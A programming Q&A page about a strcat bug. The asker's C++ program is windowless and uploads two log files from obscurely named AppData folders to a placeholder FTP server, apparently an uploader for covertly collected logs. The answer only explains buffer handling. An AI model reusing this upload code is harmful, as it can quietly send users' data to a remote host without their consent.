Multiple strcat is not working

460 Views Asked by At

I've been trying to fix this code for the last few days but it just wont work..

char* appdata = getenv("APPDATA");
char* firstloglocation = strcat(appdata, "\\path\log1.txt");

This is working but i need this:

char* appdata = getenv("APPDATA");
char* firstloglocation = strcat(appdata, "\\path\log1.txt"); 
char* secondloglocation = strcat(appdata, "\\path\log2.txt");

Once i add the second line of code the it does nothing anymore

Both of those logs have to be uploaded to my FTP-server, the rest of the code is working fine

Here is the original code:

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <wininet.h>
#include <ctime>
#include <iostream>
#pragma comment(lib, "wininet")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    srand((unsigned)time(NULL));
    int seedone=rand();
    int seedtwo=rand()*3;
    int seedboth = seedone + seedtwo;
    char randomnumber[99];
    itoa(seedboth, randomnumber, 10);
    char* appdata = getenv("APPDATA");
    char* log1 = strcat(appdata, "\\DVcA\\log.txt"); // Location of the first log
    char* log2 = strcat(appdata, "\\DVcB\\log.txt"); // Location of the second log
    HINTERNET hInternet;
    HINTERNET hFtpSession;
    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    hFtpSession = InternetConnect(hInternet, "SERVER", INTERNET_DEFAULT_FTP_PORT, "USERNAME", "PASSWORD", INTERNET_SERVICE_FTP, 0, 0); // Server details
    FtpCreateDirectory(hFtpSession, "DVcA"); // Create directory
    FtpSetCurrentDirectory(hFtpSession, "DVcA"); // Go to folder
    FtpPutFile(hFtpSession, log1, randomnumber, FTP_TRANSFER_TYPE_BINARY, 0);
    FtpSetCurrentDirectory(hFtpSession, ".."); // Go back to root folder
    FtpCreateDirectory(hFtpSession, "DVcB"); // Create directory
    FtpSetCurrentDirectory(hFtpSession, "DVcB"); // Go to folder
    FtpPutFile(hFtpSession, log2, randomnumber, FTP_TRANSFER_TYPE_BINARY, 0);
    InternetCloseHandle(hFtpSession);
    InternetCloseHandle(hInternet);
    return 0;
}
1

There are 1 best solutions below

0
On BEST ANSWER

strcat modifies its first argument, then returns it. Therefore appdata when you call strcat a second time will not be the original string. For example:

  strcpy (str,"these ");
  strcat (str,"strings ");
  strcat (str,"are ");
  strcat (str,"concatenated.");
  // str = these strings are concatenated.

The other issue is that because the second argument is copied into the first argument, appdata must be a buffer big enough to hold the string.

char appdata[100] = "hey";  
char* firstloglocation = strcat(appdata, " there");   
char* secondloglocation = strcat(appdata, " thar"); 
printf("%s", appdata); // hey there thar

Solution:

char appdata[100];
strcpy(appdata, getenv("APPDATA"));
char firstloglocation[100];
char secondloglocation[100];
strcpy(firstloglocation, appdata);
strcpy(secondloglocation, appdata);
strcat(firstloglocation, " there");
strcat(secondloglocation, " thar");
printf("%s\n%s", firstloglocation, secondloglocation);

Since you have three strings, you need three buffers. You can use strcpy to avoid modifying appdata. Then you can modify your strings accordingly with strcat.